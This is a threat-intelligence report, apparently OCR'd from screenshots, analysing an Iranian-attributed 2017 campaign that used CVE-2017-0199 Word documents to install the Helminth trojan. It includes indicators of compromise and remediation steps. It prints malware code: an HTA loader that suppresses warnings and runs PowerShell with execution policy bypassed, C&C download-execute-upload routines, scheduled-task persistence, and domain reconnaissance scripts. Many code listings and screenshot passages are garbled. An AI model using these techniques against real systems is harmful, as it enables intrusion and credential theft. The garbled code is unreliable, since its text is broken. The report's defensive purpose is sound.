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INTRODUCTION

From April 19-24, 2017, a politically motivated, targeted campaign was carried out against
numerous Israeli organizations. Morphisec researchers began investigating the attacks on April
24 and continue to uncover more details. Initial reports of the attacks, published April 26 (in
Hebrew) by the Israel National Cyber Event Readiness Team (CERT-IL) and The Marker, confirm
that the attack was delivered through compromised email accounts at Ben-Gurion University and
sent to multiple targets across Israel. Ironically, Ben-Gurion University is home to Israel’'s Cyber
Security Research Center. Investigators put the origin of the attack as Iranian; Morphisec’s
research supports this conclusion and attributes the attacks to the same infamous hacker group
responsible for the OilRig malware campaigns.

The fileless attack was delivered via Microsoft Word documents that exploited a former zero-
day vulnerability in Word, CVE-2017-0199, to install a fileless attack variant of the Helminth
Trojan agent. Microsoft released the patch for the vulnerability on April 11, but many
organizations have not yet deployed the update. The attackers actually based their attack on an
existing Proof-of-Concept method that was published by researchers after the patch release.

By hunting through known malware repositories, Morphisec identified matching samples
uploaded by Israeli high-tech development companies, medical organizations, and education
organizations, indicating that they were victims of the attack. For security purposes, Morphisec is
not revealing these names.
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The delivery was executed by compromising the email accounts of a few high-profile individuals
at Ben-Gurion University. The Word document was sent as a reply to legitimate emails sent from
those accounts and was propagated to more than 250 individuals in different Israeli companies,

according to CERT-IL.

Upon deeper investigation into the installed Helminth fileless agent, we identified a near-perfect
match to the OilRig campaign executed by an Iranian hacker group against 140 financial
institutions in the Middle East last year, as analyzed by FireEye , Palo Alto Networks and
Logrhythm. This group has become one of the most active threat actors, with noteworthy abilities,
resources, and infrastructure; speculations indicate the hacking organization to be sponsored by
the Iranian government. In other recent attacks (January 2017), the group used a fake Juniper
Networks VPN portal and fake University of Oxford websites to deliver malware as described by
ClearSky.

Our report presents the technical details of the attack, emphasizing differences from last year’s
attack. In particular, there are several enhancements to different evasive mechanisms and some
modifications in the communications protocol, which delivers PowerShell commands from the
C&C.

The most important difference is that the use of macros was exchanged with a vulnerability
exploit. With their ability to set up the attack in a relatively short time, the threat actors could
correctly speculate that their window of opportunity between patch release and patch rollout was
still open.

At the time of publication, the C&C servers are still active and will be listed herein as all other
signatures and indicators of compromise.

TECHNICAL ANALYSIS

Word Delivery

The different delivered documents, as shown below, are generally named with some random
number <random number>.doc.
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Morphisec identified the following set of documents:

Name SHA256

13.doc a9bbbf5e4797d90d579b2cf6f9d61443dff82ead9d9ffd10f3c31b686¢ccf81ab

558.doc, 2869664d456034a611b90500f0503d7d6a64abf62d9f9dd432a8659fa6659a84
2.doc

1.doc 832cc791aad6462687e42e40fd9b261f3d2fbe91¢c5256241264309a5d437e4d8

3.doc d4eb4035e11da04841087a181c48cd85f75c620a84832375925e6b03973d8e48

CVE-2017-0199 Vulnerability Exploit

The most notable difference from last year’s OilRig campaign is the way the attack was
delivered. In the previous campaign, the Iranian group sent specially crafted Excel and Word
files, which contained macros that targeted individuals were convinced to enable.

In this campaign, no macros were required. Each document utilized the vulnerability by an
embedded link that delivers an .hta file (html executable).

|IE|553.ducEx| b Eaducml
1386 :fault\aspalpha‘\aspnum\faauto\adjustright\rin0\1lin0\itap0\pararsid12221012 \rtlch\fcsl \af31507\afs22\alangl025 4 204 utol\adjustright\rin0\1in0\itapO\pararsid12221012 \rtlch\fcsl \af315
137 :fault\aspalpha‘\aspnum\faauto\adjustright\rin0\1lin0\itap0\pararsid12221012 ‘\rtlch\fcsl “af31507\afs22\alangl025 205 uto\adjustright\rin0\lin0\itap0\pararsid12221012 \rtlch\fcsl \af315
132 j08\obiscaleyl00[\*\objclass HEcp//comonscasuin)cescdunea) (\*\oleclsid \' 7T00000300-0000-0000-C0O00-00000000004¢ 2 100{\*\cbjclas= [HEEpE//E0ES 6T o) cescsunta) {\*\oleclsid \'Tb00000
139 e000300£e££080 000100000001, 1000000200000001000000fe£E8EE8C [ £090006000000000000000000000001000000010000000000000000100000020000
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Morphisec identified the following delivered test<number>.hta file with the same signature
delivered from the following domains:

Name Delivery Server

testd.hta hxxp://comonscar[.]in (82.145.40.46)

testS.hta 80.82.67.42

test1.hta reserved

SHA256: 5ac61ea5142d53412a251eb77f2961e3334a00c83da9087d355a49618220ac43

The .hta file is immediately executed by mshta.exe, the Windows process which executes html
executables. As a result, the user is usually shown a warning message, despite the fact that the
HTA is still executed even if the user chooses “No”:

» . -

website: bt/ S o
PR - - .
Microsoft Word - —_— ) S|

y l*_\ This document contains links that may refer to other files. Do you want to update this document with the data from the linked files?

Show Help ==

[ fes ] [ Mo ] [ Help ]

. - = )

-

The .hta file in this attack is much more sophisticated than in previous versions and actually
disables this message by sending an “Enter” command to the warning window. This is covered in
the next section.

HTA Execution and Persistency

The HTA execution goes through the following steps:
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1. Before installing the agent, the .hta file sends the “Enter” key into the Word application to
remove the warning message and minimize any appearance of suspicious execution. It is
done by creating and executing a 1.vbs script.

APPLICATIONNAME="ADSI Test Tool™
SYSMENU="yes"

Htestshta B ‘
1 | <HTML>
2 E <HEAD>
3 <HTA:APELICATION
4 ID="ADSITest"
5 VERSION="0.20 Beta"

MAXIMIZEBUTTON="yes"
MINIMIZEBUTTON="yes"
BORDER="thin"
INNERBORDER="no"
SCROLL="auco"
SINGLEINSTANCE="yes"
WINDOWSTATE="minimize"

>
E </HERD>
<script language="VBScript">
Set objShell = CreateObject ("Wscript.Shell™)
window.moveTo 0,0

cbjShell.Run "cmd.exe /e cscript ¥temp\\l.vbs™, 0, false

function WriteToTextFile(infilepath, inContent)
Set objFS0 = CreateObject ("Scripting.FileSystemObiect™)
6bjFS0.CreateTextFile infilepath, True
Set objFileln = objFS0.GetFile(infilepath)
Set objStreamln = objFileln.OpenAsTextStream(2, 0)
objStreamIn.Write (inContent)
set objStreamln = Nothing
set objFileln = Nothing
set obIF50 = Nothing
end function

objshell.Run "cmd.exe /c echo Set objShell = CreateObject(""Wscript.Shell™") > $tempi\\1.vbs && echo GbjShell.AppACtivate "*WOPd"" 5> SCemps\\1.vbs && echo objShell.Sendkeys TH(ENIERJSS >> ttempt\\l.vbs", 0, false

[Zf €Users\Morphisect'DesktophLvbs - Notepad++

File Edit Search View Encoding Language Settings Macro Run Plugins Window 7

e ST | [t x| BRI I[EZEHD »| @ B
[E 1.vbs m}

1 Set objShell = Creats

2 objShell.AppActivate 4

3 objShell.SendKeys "{ENTER]™

4

1. The next step writes and executes the 0011.ps1 PowerShell script, which is described in

33
the following section.

Htestshta £ I

40 For x = 1 To 64 Step 1

41 table(l + Rsc(Mid(ré4, x, 1))) =x - 1

42 Next

43 Dim size

44 size = len(encodedstr)

45 bits = 0

46 decodedstr = ""

47 For x = 1 To size Step 1

48 ¢ = table(1 + Asc(Mid(encoededstr, x, 1}))

9 If (c <> -1) Then

50 If (bits = 0) Then

51 ocutword = ¢ * ¢

52 bits = §

4 outword = c + outword

decodedstr = decodedstr & (Chr(Clng("sH" & Hex(outword Mod 256))))
bits = 0
ElseIf (bits = 4) Then
outword = outword + Int(c / 4)
decodedstr = decodedstr & (Chr (Clng("sH" & Hex(outword Mod 256))1)
outwerd = ¢ * €4
pits = 2
Else
outword = outword + Int(c / 16)
decodedstr = decodedstr & (Chr(Clng("sH" & Hex({outword Mod 256))))
outword = ¢ * 16
bits = 4
End If
End If
Text
pase§q_decode = decodedstr
End Function

a="36hvbHVE2G1yTD0gIEVuds 1 3 V1 icl9makal

Dim fso: Set fso = CreateGbject ("Scripting.FileSystemObject™)

Dim tempFolder: tempFolder = fso.GetSpecialFolder(2)

WriteToTextFile tempFolder & "\0011.psl", base6i_decode(a)

objShell.Run "powershell -exec bypass —file " & tempFolder & "\0O1l.pal", 0, false

objShell.Run "emd.exe /¢ tagkkill /L /im mshia.exe”, 0, false
b</scripe>

H<body>
</body>
</HTML>

(50011051 u\
1 Fhome_dir = SEnv:Public+"\Libraries\RecordedIV\' :
2 $vbs_file name ba”;
3
4
s ateTasksMachineUI";

NSRS

$BackupVbs_file content=

$DREPs1_file_content="

$DnSPs1_file content="J%d

function change_template ($g)

i

whliel(sg‘cnncalnﬁt‘7‘*51*'7‘)))
{

$g=$g -Replace ('__'+§i+'_ '), (((55..20)+(37..122)| 1#{[char]$_} )i

return $g

function create directories
=1
try
=
if(-not (Test-Fath $home dir -ea stop))
=] {
New-Tten $home dir -type directory -ea stop;
b
+
catch
=] {
write-host "Ca : "$home_dir;
return 0;
b
if{-not (Test-FPath $home dir§dn dir))
=)

New-Item Shome dirSdn dir -tvoe directorv:

1. The last step kills the original process that activated the .hta file, to remove any suspicion.

Helminth Trojan Installation and Persistency

0011.ps1 script, which is activated by the .hta file, is in charge of generating the Helminth Trojan
PowerShell and VBS files.

Name SHA256
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0011.ps1 042F60714E9347DB422E1A3A471DC0301D205FFBD053A4015D2B509DB92029D1

1.vbs BE7F1D411CC4160BB221C7181DA4370972B6C867AF110C12850CAD77981976ED

Morphisec identified the following structure:

Computer » Local Disk (C:) » Users » Public » Libraries » RecordedTV »

Include in library - Share with - Burn Mew folder
Marne
, dn
5 y tp
Ces Jup
backupl.vbs
| & DnEL.Ps1
5 ||£,- Dn5l.Ps1

This structure matches the attack structure from October 2016, as described by Logrhythm:

Data

Hash Value (SHA256)

Symantec- Worst Passwords List
2016.xls

3900

Modify Date (UTC)

2016=10-01 07:34

C2 Methodology

DMS (A Records)

Hardcoded C2 Domain

http:/fmain-google-resolver.com

Hardcoded URL

http:/fmain-google-resolver.com/
index_aspx?id=__

File Path

SPUBLICY\Libraries),
RecordedTVY,

Scheduled Task Mame

GoogleUpdateTasksMachineUl

Scheduled Task Filename backup.vbs

Powershell Filename(s) DnE.psi
DnS.psl

Worksheet Names Incompatible

Worst Passwords List 2016

Aside from the unique generation of the files, the structure and the functionality of the trojan is

very similar to the previous campaign:
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1. The PowerShell script ps1 creates similar variants of Helminth trojan PowerShell and VBS
files templates (DnS1.Ps1, DnE1.Ps1, backup1.vbs). Those templates are regenerated on
the infected computer by replacement of all variables and function names to random names
in order to slow down detection and remediation.

5 DE1_template1.Ps1 ml ! BoEir B ‘
1 $g336841271 = §

$£2055027688 =
$n290817374
$w1460771047

5 $M1911625988 =
& $KBTTT796553
2 7 §06221579279

funotion s439542008 (§M1919009344, $i1580048195)

i

L 12 $y1761527326 — new-obiect System.Net.WebGlient;
$¥1761527326 . UseDefaul tCrads st
$y1761527326 . Headers.add (' 2 '

15 $¥1761527326.Headers.add

16 $¥1761527326 . Headers . add

7 $¥1761527326 .Headers . add
$y1761527326.Headexrs.add
$¥1761527326.Headers . add (' F
$¥1761527326 . Headers . add (' C

§_11_.Headers.add(
§_ 11 .Headers.add(
s

21 §F847871259 = Get-Random;
$_ 13 = (5_10_ .TrimEnd('\'))+'\'+§_ 12 : 22 $W750070431 = ($11580048195. TrimEnd('\ "))+ '\ ' +$F847871259;
try 23 try
1{ ] 24 {
= 070431) ;
1] e 071 - ot = B
T“C‘ File Edit Search View Encoding Language Settings Macro Run Plugins Window 7 X
o 3@ & M ;g 22| B8 [ERERL =@ ZR=1F:]
1 x6

Eoo11ps1 B3 I
10 $BackupVbs_file content="X1ExXl29Iil

$DnEPs1_file_content=

$DnsPs1_file content="JG

5W750070431) 7
prion.ToString()

function change_template (5g)

1
s_u =t
§ 1 while(($g.Containa('__"+§i+'__"))) e=')43) 1
5o rt]::FromBase64Stri
Pl $g=§g -Replace (' '+§i+' ') J({{'0.00={"..1 ) |Get-Random|&[ [char]§_})~(Get-Random)) |\ +§x232215382) -Value ([Syscem.Conve
Remo] $ise

" retul }: 382) :

< 26 return $g F

1. All the scripts are installed in the Public\Libraries\RecordedTV\ folder.

2. As in the previous campaign, persistency is achieved by adding a schedule task with a
similar name to the Google update task (“GoogleUpdateTasksMachineUl”), which
executes vbs every 3 minutes:

function create_tasks

{
if (-not(Test-Fath $home dir$vbs file name))
{
write-host "can not find main VBS file: "$hu:rme_d:i.r$v]:-s_file_name;
return O;
}
schtasks fcreate /F fac minute /mo © /tn $task name /tr Shome dir$vbs file name:
return 1:
b:

Note: All the parameters in the 0011.ps1 script can be reconfigured, therefore some of the
names could be different for the tasks and locations.

Communication Protocol

We will focus here on the DnE1.Ps1 file because all other files are almost identical to the
previous campaign. This file executes some of the same commands executed by VBS script in
the previous campaign, but there are differences as well. The script connects to a C&C server —
vpsupdate[.]Jtk. At the time of this report’s publication, the C&C server is still live; the server
was first registered on April 16, 2017. The goal of the script is to:
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e Download bat script

o Execute it and upload the results back to the C&C
o Clear traces

=1 DnET_tempiate Ps1 | [ DnE1_template Ps1 £1
L $OutDir = $Env:Fublic:

I

$DovnloadedFileName = DownloadContent ($C2Response+'h') ($OutDir+$DownloadFolder)

SUploadFolder

$DownloadedFilelane+" > "+§DownloadedFilelames" . tx" ;
5 -WindowStyle Hidden -Wait - ePath cmd -Argumentlist $command;
LTOURL (§DownloadedFilell: RE

10 function DownloadContent (§DownloadUrl, $DownloadLocation)

#Remove-Ttem ($DownloadedFileName) ; I

10 ¥
12 $MalWeDClient = nev-cbject System.Net.WebClient;
13 SMalWebClient .UseDefaultC:
11 SMalWebClient . Headers. add
5 SMaliiebClient function ValidatelndCreateDirectories

SMalWebClient. =18
17 $Malwenclient 1f(-not (Test-Path $OutDir+§DownloadFolder))
18 SMalWebClient . Headers. add =)
19 SMalWebClient . Beaders. add New-Trem SOuUtDir+SDownloadFolder -type directory:
2 $MalveDClient .Beaders.add
21 SIntermediateFilelane = Get-Rand if (-not (Test-Path $0utDir+$UploadFolder))
22 §DownloadFullPath = (§Dovnloadlocation.TzimEnd('\'))+ " '+§IntermediateFilellame; =
23 try New-Tten §OutDir+§UploadFolder -type directory:

i (-not (Test-Path $OuEDir+$DnsCommnicationFolder))
1

catch [System.Net.WebException]
{

{

1

1

L= 1
25 $MalkebClient. DovnloadFile (§Downloaddrl, §DovnloadFullPath) ;

2 i

New-Item §$OutDil i 1 -TyRe

=) 1

E $MalWebClient.Headers. ad
30 $§MalwWebClient.Headers. ads
31 $MalWebClient. Headers[ T

i

33 try function init

EE { t

s $MaliebClient. DownloadFile ($DewnloadUrl, SDovnloadFullPath) ; ValidateAndCreateDirectories; -
36 ) DownloadContentWi thLockFronlrl ;

37 catch ExecuteAndUploadContent ;

EC= ( Clear s:

39 throw [System.Net.WebException] §_.Exception.ToString(): }

0 b }

P

42 SMalResponse = $MalviebClient.ResponseHeaders [’ Content-Dispo;

43 §MalFileName = $MalResponse.. suns:mnq(suamesponse Indexor( n.E'ume N+ init.

4 $DownloadedFilelame = [System.Text.Encoding]::UTES ([Systen.C: T]::F: i csual.r 1

45 Set-Content -Path (1snowm1ma[.omtmn TrimEnd('"\'))+'\ '+$DovnloadedFilelane) -Value ([System.Convers]: 192

46 Remove-Ttem wiratn o 2 <
[ 1 v <

At each new activation (first) activation of the download command (GET request), the infected
computer receives a bat script for activation from the C&C:

vpsupdate[.]tk/index.aspx?id=<random character><randomnumber>[b] (the “b” is for
download)

The file name of the bat script is then delivered through the response headers, and the content of
the bat script is delivered through the response. Both of them are encoded in base 64.

vpsupdate.tk findex.aspx?id=j2703350... 2,188 private textjhtml; c...  powers... IHEadErs | Textview \ SyntaxView | WebForms \ HexView \ Auth | Cookies \
%m 200 HTTP vpsupdate.tk  findex.aspxrid=i2703350... 0 private POWErS... Request Headers
GET findex.aspxAid=270335022%5Ch HTTP/1.1
Cache

Cache-Control: no-cache

Pragma: no-tache
Client

Accept: =f*

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.5

User-Agent: Microsoft BITS/7.7
Miscellaneous

Referer: https:/fwww.google.com
Transport

Transformer ||Headers ‘ TextView | Syntaxview | ImageView ‘ HexView | Web

Response Headers
HTTP/1.1 200 0K
Cache

Cache-Control: private

Entity
Content-Disposition: attachment; filename =ZGVmYXVsdC5YXQ=
Content-Length: 2176
Content-Type: text/hitml; charset=utf-8

The name of the file is default.bat (decoded from Content-Disposition property in the header) and
it is saved temporary in the dn folder (described in the next section).

Note: Morphisec identified several other samples of communication with different C&C servers
(“alenupdate].]info” and “maralen[.]tk”) in which a more advanced customized version of
Mimikatz was sent to specific users, and an additional agent was installed in the “C:\Program
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Files (x86)\Microsoft Idle\” directory:

nesu | rivu s une Louy Laumy  wumencibe Fluess  cummens  ow o |

PULNCSIUIUET | o) LAMNUSE! | S5 Wl U | ) b | L e |

[B19 200 HTP aenupdate.info /Defauit.aspx 4516 private  texthiml;c.., Headers | [Textview | S‘{niaxVEw | WebForms | Hexview | Auth | Cookies | Raw | JSON | x|

mm\onwwmn|o'rmznsza.au5MmMz‘rzmw,APsuwmﬂ,

= | Ley Aransy

00 071 [Find. - press Crl+&nter ta ighight ) | [viewin Notenad ] -]

Transformer | Headers || TextView | SyntoxView | ImageView | HexView | WebView | Auth | Coching | Cookies | Raw | JSON | XML |
<t xmins="Ttp:/fwwrw w3 org/ 1399/t "> B
ad>

extalign: certer:

auto-style2 {
height: S5px:
i 25

</style>
</head>

]

<body>
<Fom name="google Fom” method="post” action="Defaut aspx id="googleFomn”>
<div>

="auto-style]™>
<textarea name="UserName" id="UserName" style="margn-ight: 15px" class="auto-style2" tabindex="1">
QGVEGSQL:ZZIHICYQYZ’U:CJ\ZNTAWMSYgZWNnbYNdXN\unvaWFDb\Vc.IXVzZXJuYW]\JSNP\Yx\C{gMNuWNYZS\:HWZ}UuW\H\JSMF\YxlCYgZWNnbnyXWSfXW&lXWw]w]&
X190X136X 15X 90X 19EX0W 2 uZmin X1 919X 19X 51C YgaXEjb26malogL2FsbC AyFiT3ICYgZWNobyBrX 19X 19X X 19X HQ Vsl
vaYZFsIHVzZXJzXWSf)ﬂSf)ﬂSTXWSTXWSTXWSTXWSTXWSTXWSNCVQENW\HVZZX\gLZRVbWFDb\NP\Yx\CYgZWNubyBFXWSf)ﬂSTXWSTXWIXWWWWWIXWJGWE\HVIZX\QEW“QZG&YWI
uXi?Xi?Xi?XiQ'Xi?XTQ’XTTXTWT!\CVQENVG\G:M:EWW\%Z1hadedemMSAm\GVEGRQXTQ’XTWTWTWTWTWTWTWT!‘E&:ZTPY‘N@QWH WE2X HXIHXTHXISF
19X BX19X19X 13 91 Y bifyPiYdCYg ZWNobyBF X1 819X 19FX 19X 19X 190X XDV Snhbmal | HRyd XNDZW Qg TW W

Y = GNo' 1 b Ay P CYgZWNoby BEX 11K X X 1 FX S
XT‘\\mn‘(WNlh'W\\df‘Rkh?ThiWWTWTWTWTWTWTWTWlWlWIthmVﬂ\F?mThHR)\ 191 91 X1 X1 X XA R R
Bes 20 HTP maralen.te jindex.aspx 655 private  texthtmlic... Headers | [Textiiew | Syntaxview | WebForms | Hexview | Auth | Cookies | Raw | o | »
B 20w maralen.t  jindex.aspx 655 private  text/html;c... Usemame=aWQ 7YzMAY|Q50DJDDNE MmN IO E7UIGHhc2UzRW Sk XDePRy50eHQ 7
B71  mo  HTE maralen.tk findex, asp 655 private  texthimi; c... 4Password D0 D62 TwdXRIGBOYW
72 M0 HTP len.tc findex. P e texthim:c.. X151 9FT 919X S DRLSORL S UG oy BCZWdpbidNCaloel TERY
% DB (T o i = ¥3Rvonku DG S VRye SBObyBXamiDZS BpbiAiGznc UH v Z30hb SEGaWadcy Aoe Da 2K iNaWWhyb INvZnQaSWR
73 P maralen.tc jindex.aspx 655 private  text/html; c... (GUgaValkMEXF Byb 2dy YW DaRmlsZXMaKHadNilc TWiicmSzb 220l Ekb G Lil ERpem\VidGye S4NCakt L TMIU\V Y2V,
@7+ 20 TP maralen.ti findex.aspx 655 private  texthtmlc.. il TWijom 3262201 Bkb G UIE Rpcm\VidGBysSNCakiL TOU 2H Y 2505 XMgWdhbrOgs 3 Apb GuaZ¥hpo 3Rz GUICIDC
@75 2200 WP dlenupdate.info Default. aspx 4,516_private._ texthhimlc... 3RvenkuD0JLS01LUF TVVSDIHNaVisIGV4=XN oy Bobi Az UH.v Z3hb SBGaVbdcy Aos DaZKVica W Nyb Hv.
e —— = Yl ZWFDZSBLIYXNAEIZ20 LaDKCS AgIDOtMS kel VRho Azl
[ *new 1 - Notepad++ - u_u':‘ Vi 5pc 2h| ZCANCakgICAOL TEEMy 1 TdGFydCBDaGViaZuZyB
» N

UIYXRIIHNDYXJ0d XAg Zm 95 2G V| GxuayBma Wil IEJIZ2uLal
File Edit Search View Encoding Language Settings Macro Run Plugins Window ? X | favi PN T 23D 06 CATNC Dy TV U3Ron R 16CRTal
3 j B @ 3y @l ﬂé‘ |:D @‘ @ c ‘ 4 gh ‘ CCY ‘ I_j: |:=| 1 ’j B E@® em (AqLIGhhc2VzIEVUZCANCMt UnVubmiuZyBQaGFzZXMgQm

jot UnVubmiu ZyBQaG Fz ZXMaRW5k LgOKLSOtLS 0t UGhhc2Y

Erew 161 |
4 User Neme:Administrator « | B=enter to highiiaht i)
5 Computer Name:PC
- ImageView | Hexview | WebView | Auth | Cac

Fhases Begin. i
FPhases Begin.

~Try to Write in "Program files\[Folder]" Directory.
1 -Try to Write in "C:\Program Files (x86)\Microsoft Idle™ Directory.
11 —You have access write in "C:\Program Files (x86)\Microsoft Idle" Directory.

~Success to Put Agent in "C:\Program Files (x28)\Microscft Idle" Directory.
~Check Is Agant still exists in "|C:\Program Files (x86)\Micrasoft Idle" Directory.
-Agant still exists in "C:\Program Files (x86)\Microscft Idle” Directory.
-Copy Phases End.
2-StartUp Phases Begin.
2-1-Create Task Begin.
4-1-1-Tasks Name: [Google Sync Core] , {Google Update Core]
4-1-2-Creating Task Finished.
4-1-3-5tart Checking Task 5till Exists I lf.aspx " id="googleForm">
4-1-4-Tasks Not Found!
—Create Task Fail!
2-2-Create startup folder lnk file Begin.
4-2-1-Create Startup Shortcut Begin.
5 4-2-2-Create Startup Shortcut Success. i fin-right: 15px” class="auto-style2" tabindex="1">
€ 4-2-3-5tartup Shortcut still Exists.
—Create startup folder lnk file Success.
-Starclp Fhases End. Sianin” style="height: 350x; width: 84px:" tabindex="2" />
3-Running Phases Begin.
3-1-Try to run Agent.

EORBRBbe
m

N
- N

31 3-2-Agent Run.

32 3-3-Agent Not in RREM!.
33 -Running Phases End.

34 —--—— Phases End.

Back to the popular variant of the protocol: As soon as the file executes and the resulting output
is written to default.bat.txt (similarly to the previous campaign), the resulting file is uploaded back
to the C&C using the following URL command (POST request):

vpsupdate[.]tk/index.aspx?id=<random character><randomnumber>[u] (the “u” is for
upload)

LEx] 7T R L L Hesders | [Toatlew | Spotasvion | Webfoess | Heohem | Suth fodics | o Eo-

—————Sdika R i
et uapoation dom ity ravng « The ™, flerume = "Gelnll bacts ™
b ]

e wu!u;umwmnwm T e e e
T 00 W M B Sy AL B P B i A ek s S o AL
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https://cdn2.hubspot.net/hubfs/1534169/Blog_images/17-04/CVE-2017-0199/Cyberattack%20on%20Israel_12.png
https://cdn2.hubspot.net/hubfs/1534169/Blog_images/17-04/CVE-2017-0199/Cyberattack%20on%20Israel_13.png
https://cdn2.hubspot.net/hubfs/1534169/Blog_images/17-04/CVE-2017-0199/Cyberattack%20on%20Israel_14.png

At the same time, the DnE1.Ps1 is executed. The DnS1.Ps1 is also executed and communicates
with the C&C using DNS exchange queries (the same as in the previous campaign). This kind of
communication is very hard to block since DNS is a basic functionality required in any
organization.

Delivered Commands

The bat script is a customized version of Mimikatz (with slight modification from the last
campaign). Its goal is to gather information from the computer and the network:

[=] defautt bat E3 ‘
1 |khep 65001s

2 whoami 2=&l &

hostname 2>el =

< echo IpConfig H
5 ipeconfig fall 2x:l &
& echo 211 local users &
7 net user fdomain 2>£l1 &
echo 211 user in domain &
9 net group fdomain 2>sl =
110 echo Domian Admins &
11 net group "domzin admins™ /domain 2»:l &
12 echo Exchange trusted Members &
13 net group "Exchange Trusted Subsystem" /domain 2>&l &
14 echo net account domain &
15 net accounts Sdomain 2>sl &
16 echo net user &
17 net user 2>zl =
18 echo net local group members ]
19 net leocalgroup administrators 2@:l &
210 echo netstat &
21 netstat -an 2>zl &
22 echo tasklist &
23 tasklist 2>l =
24 echo systeminfo H
25 ayateminic 2»:sl &
26 echo RODP &
27 req query "HEKEY CURRENT USER\Software\Microsofti\Terminal Server Client\Default™ 2Z>&l &
2 echo Task &
29 gchtasks fquery (FO List /IN "GoogleUpdateTlasksMachineUI™ /V | findstr /b /n fc:"Bepeat: Every:™ 2>gl &
30 echo

The added commands are chep to handle non-ASCII characters (e.g. Hebrew) and the validation
of the scheduled task (which should have been added by the persistency mechanism).

As mentioned in the previous section, Morphisec identified an advanced version of the same bat
script communicating with the alenupdate|.]Jinfo C&C. In that case, the information that is
gathered includes A.V., Firewall, and AntiSpy product information. The persistent tasks are
slightly different as well, “Google Update Core” and “Google Sync Core”.
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= default_advanced bat E3 ‘

fecho off &

2 chcp 65001&

3 echo % ! sername® 2>&l &

4 echo *# &l &

£ echo IpConfig &
& ipconfig /fall 2»£1 &

7 echo B11 local users &
2 net user /domain 2>&l &

3 echo 411 user in domain &
10 net group /domain 2>&l &

11 echo Domian Admins &
12 net group "domain admins" Sdomain 2r&l &

echo

net group

echo

16 net accounts fdomain 2>£1 &

Exchange trusted Members &
"Exchange Trusted Subsystem" /domain 2>&l &

net account domain &

echo net user &
18 net user 2>&l &
12 echo net local group members &
20 net localgroup administrators 2x&l &
21  echo netstat &
22 netstat -an 2>&l &
23 echo tasklist &
24 casklist 2»x&l &
25 echo systeminfo &
26 systeminfo 2>£1 &
27 echo Security &
28 echo. &
23  echo V. &
30 echo. &
31  WMIC fNode:localhost [Namespace:\\root\SecurityCenter Path AntiVirusProduct Get /Format:List | more | findstr displayName 2>&1 &
32 WHMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get /Format:List | more | findstr displayName 2>&l &
33 echo. &
34 echo irewall &
35 echo. &
36 WMIC fNode:localhost [Namespace:\\root\SecurityCenter Path FirewallProduct Get /Format:List | more | findstcr displayName 2>&l1 &
37 WHIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get /Format:List | more | findstr displayName 2>&1 &
38 echo. &
32 echo ntispy &
4 echo. &
41 WMIC fNode:localhost [Namespace:\\root\SecurityCenter Path AntiSpywareProduct Get /Format:List | more | findstr displayName 2>&1 &
4 WHMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get /Format:List | more | findstr displayName 2>&1 &
45 echo. &
44 echo &
45 echo. &
46 echo RDP &

47 reg guery "HEEY CURRENT USER\Software\Microsoft\Terminal Server Client\Default" 2>&l &

42  echo

Task &

49 schtasks /guery /FO List /TN "{Google Update Core}" /V | findstr /b /n /c:"Repeat: Every:" 2>&l &

50 echo

Remediation

1. The scheduled task “GoogleUpdateTasksMachineUl” should be removed. Note that

regular Google update tasks look like GoogleUpdateTask[Machine|User]* without the “s” in

Tasks).
1. In case “Google Update Core” or “Google Sync Core” exists, those need to be
removed as well.

2. Access Public\Libraries\RecordedTV folder. Note that the Libraries folder in Public is
hidden, and you should delete the folder and not the RecordedTV icon — if you have only
the icon, then the agent is not installed.

3. If the following directory exists, remove it: “Program Files(x86)\Microsoft Idle”

4. If the following directory contains “Winlnit.Ink” or “Synclnit.Ink” files, remove those files:
“Y%userprofile%\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup”

Conclusion
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Every few years, a new “logic bug” CVE in OLE object linking is identified; the previous one was
three years ago (CVE-2014-4114 and CVE-2014-6352). This kind of vulnerability is rare but
powerful. It allows attackers to embed OLE obijects (or links in the case of CVE-2017-0199) and
bypass Microsoft validation of OLE execution without warning. In essence, it is the same as
playing animation in PowerPoint.

Such vulnerabilities should be patched immediately.
It is significant to note how the Iranian threat actors advanced their abilities in such a short time:

 Utilizing a vulnerability PoC immediately after its publication

o Setting up the required infrastructure with multiple domains and delivery servers

« Increasing the sophistication of the delivered Helminth agent, including regeneration of its
signatures on the infected computer

e Improving the customized information gathering Mimikatz version

With many organizations taking high-risk vulnerabilities seriously and patching them as quickly as
possible, attackers can no longer exploit them for an extended period of time. We, therefore,
expect that threat actors will return to macro-based campaigns like Hancitor.

Indicators of Compromise (IOCs)

Document delivery

Name SHA256

13.doc a9bbbf5e4797d90d579b2cf6f9d6 144 3dff82ead9d9ffd10f3c31b686ccf81ab
558.doc, 2869664d456034a611b90500f0503d7d6a64abf62d9f9dd432a8659fa6659a84
2.doc

1.doc 832cc791aad6462687e42e40fd9b261f3d2fbe91c5256241264309a5d437e4d8
3.doc d4eb4035e11da04841087a181c48cd85f75c620a84832375925e6b03973d8e48

HTA delivery servers:

hxxp://lcomonscar[.]in (82.145.40.46)

80.82.67.42

HTA files:
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Name SHA256

test4.hta, 5ac61ea5142d53412a251eb77f2961e3334a00c83da9087d355a49618220ac43
test5.hta

Helminth Trojan Installers:

Name SHA256

0011.ps1 042F60714E9347DB422E1A3A471DC0301D205FFBD053A4015D2B509DB92029D1

1.vbs BE7F1D411CC4160BB221C7181DA4370972B6C867AF110C12850CAD77981976ED

C&C:

Name

vpsupdate][.]tk

alenupdate[.]info

Maralen[.]tk

Persistency:

Task Name

GoogleUpdateTasksMachineUl

Google Update Core

Google Sync Core

CERT-IL has listed additional 1oCs that are not mentioned in this list, which includes the January
campaign that involved malicious Juniper Networks VPN and fake Oxford registration form
executables and their C&C domain server.

Contact Saleslnquire via Azure
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http://10.10.0.46/mailto:sales@morphisec.com
https://azuremarketplace.microsoft.com/en-us/marketplace/apps/morphisec.morphisec_unified_threat_prevention_platform?tab=overview

